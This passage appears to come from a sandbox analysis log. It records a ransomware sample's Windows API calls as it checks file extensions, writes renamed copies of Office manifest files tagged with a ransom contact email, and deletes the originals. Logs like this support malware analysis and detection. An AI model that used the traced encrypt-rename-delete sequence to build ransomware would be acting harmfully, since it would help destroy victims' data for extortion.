liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.412] SetEndOfFile (hFile=0x1088) returned 1 [0146.421] CloseHandle (hObject=0x1088) returned 1 [0146.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0146.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.422] lstrlenW (lpString=".doc") returned 4 [0146.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.422] lstrlenW (lpString=".docx") returned 5 [0146.422] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.422] lstrlenW (lpString=".pdf") returned 4 [0146.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.422] lstrlenW (lpString=".xls") returned 4 [0146.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.422] lstrlenW (lpString=".xlsx") returned 5 [0146.422] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.423] lstrlenW (lpString=".ppt") returned 4 [0146.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.423] lstrlenW (lpString=".zip") returned 4 [0146.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.423] lstrlenW (lpString=".rar") returned 4 [0146.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.423] lstrlenW (lpString=".bz2") returned 4 [0146.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.423] lstrlenW (lpString=".7z") returned 3 [0146.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.423] lstrlenW (lpString=".dbf") returned 4 [0146.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.423] lstrlenW (lpString=".1cd") returned 4 [0146.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.423] lstrlenW (lpString=".jpg") returned 4 [0146.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.423] lstrlenW (lpString=".doc") returned 4 [0146.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.423] lstrlenW (lpString=".docx") returned 5 [0146.423] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.424] lstrlenW (lpString=".pdf") returned 4 [0146.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.424] lstrlenW (lpString=".xls") returned 4 [0146.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.424] lstrlenW (lpString=".xlsx") returned 5 [0146.424] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.424] lstrlenW (lpString=".ppt") returned 4 [0146.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.424] lstrlenW (lpString=".zip") returned 4 [0146.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.424] lstrlenW (lpString=".rar") returned 4 [0146.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.424] lstrlenW (lpString=".bz2") returned 4 [0146.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.424] lstrlenW (lpString=".7z") returned 3 [0146.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.424] lstrlenW (lpString=".dbf") returned 4 [0146.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.424] lstrlenW (lpString=".1cd") returned 4 [0146.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0146.426] lstrlenW (lpString=".jpg") returned 4 [0146.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.427] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.427] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0146.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0146.427] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=19451) returned 1 [0146.428] CloseHandle (hObject=0x1088) returned 1 [0146.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0146.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0146.428] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.428] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0146.429] GetLastError () returned 0x0 [0146.429] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0146.581] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x4c00, lpOverlapped=0x0) returned 1 [0146.582] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.582] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.582] SetEndOfFile (hFile=0x1080) returned 1 [0146.582] CloseHandle (hObject=0x1080) returned 1 [0146.584] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.584] SetEndOfFile (hFile=0x1088) returned 1 [0146.585] CloseHandle (hObject=0x1088) returned 1 [0146.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0146.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.601] lstrlenW (lpString=".doc") returned 4 [0146.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.601] lstrlenW (lpString=".docx") returned 5 [0146.601] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.601] lstrlenW (lpString=".pdf") returned 4 [0146.601] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.601] lstrlenW (lpString=".xls") returned 4 [0146.601] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.601] lstrlenW (lpString=".xlsx") returned 5 [0146.601] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.601] lstrlenW (lpString=".ppt") returned 4 [0146.601] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.601] lstrlenW (lpString=".zip") returned 4 [0146.601] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.601] lstrlenW (lpString=".rar") returned 4 [0146.601] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString=".bz2") returned 4 [0146.602] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString=".7z") returned 3 [0146.602] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.602] lstrlenW (lpString=".dbf") returned 4 [0146.602] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.602] lstrlenW (lpString=".1cd") returned 4 [0146.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.602] lstrlenW (lpString=".jpg") returned 4 [0146.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.602] lstrlenW (lpString=".doc") returned 4 [0146.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString=".docx") returned 5 [0146.602] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.602] lstrlenW (lpString=".pdf") returned 4 [0146.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString=".xls") returned 4 [0146.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString=".xlsx") returned 5 [0146.602] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.602] lstrlenW (lpString=".ppt") returned 4 [0146.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.602] lstrlenW (lpString=".zip") returned 4 [0146.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.603] lstrlenW (lpString=".rar") returned 4 [0146.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.603] lstrlenW (lpString=".bz2") returned 4 [0146.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.603] lstrlenW (lpString=".7z") returned 3 [0146.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.603] lstrlenW (lpString=".dbf") returned 4 [0146.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.603] lstrlenW (lpString=".1cd") returned 4 [0146.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0146.603] lstrlenW (lpString=".jpg") returned 4 [0146.603] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.603] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.603] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0146.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0146.609] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1261) returned 1 [0146.609] CloseHandle (hObject=0x10b8) returned 1 [0146.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0146.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0146.610] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.610] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0146.614] GetLastError () returned 0x0 [0146.614] ReadFile (in: hFile=0x10b8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0146.716] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0146.718] ReadFile (in: hFile=0x10b8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.718] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.718] SetEndOfFile (hFile=0x1080) returned 1 [0146.719] CloseHandle (hObject=0x1080) returned 1 [0146.750] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.750] SetEndOfFile (hFile=0x10b8) returned 1 [0146.755] CloseHandle (hObject=0x10b8) returned 1 [0146.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0146.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.761] lstrlenW (lpString=".doc") returned 4 [0146.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.761] lstrlenW (lpString=".docx") returned 5 [0146.762] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.762] lstrlenW (lpString=".pdf") returned 4 [0146.762] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString=".xls") returned 4 [0146.762] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString=".xlsx") returned 5 [0146.762] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.762] lstrlenW (lpString=".ppt") returned 4 [0146.762] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.762] lstrlenW (lpString=".zip") returned 4 [0146.762] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.762] lstrlenW (lpString=".rar") returned 4 [0146.762] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString=".bz2") returned 4 [0146.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString=".7z") returned 3 [0146.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.762] lstrlenW (lpString=".dbf") returned 4 [0146.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.762] lstrlenW (lpString=".1cd") returned 4 [0146.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.762] lstrlenW (lpString=".jpg") returned 4 [0146.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.762] lstrlenW (lpString=".doc") returned 4 [0146.762] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString=".docx") returned 5 [0146.762] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.762] lstrlenW (lpString=".pdf") returned 4 [0146.762] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.762] lstrlenW (lpString=".xls") returned 4 [0146.762] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.763] lstrlenW (lpString=".xlsx") returned 5 [0146.763] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.763] lstrlenW (lpString=".ppt") returned 4 [0146.763] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.763] lstrlenW (lpString=".zip") returned 4 [0146.763] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.763] lstrlenW (lpString=".rar") returned 4 [0146.763] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.763] lstrlenW (lpString=".bz2") returned 4 [0146.763] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.763] lstrlenW (lpString=".7z") returned 3 [0146.763] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.763] lstrlenW (lpString=".dbf") returned 4 [0146.763] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.763] lstrlenW (lpString=".1cd") returned 4 [0146.763] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0146.763] lstrlenW (lpString=".jpg") returned 4 [0146.763] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.763] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.763] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0146.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0146.764] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1261) returned 1 [0146.764] CloseHandle (hObject=0x10d0) returned 1 [0146.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0146.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0146.764] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.764] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 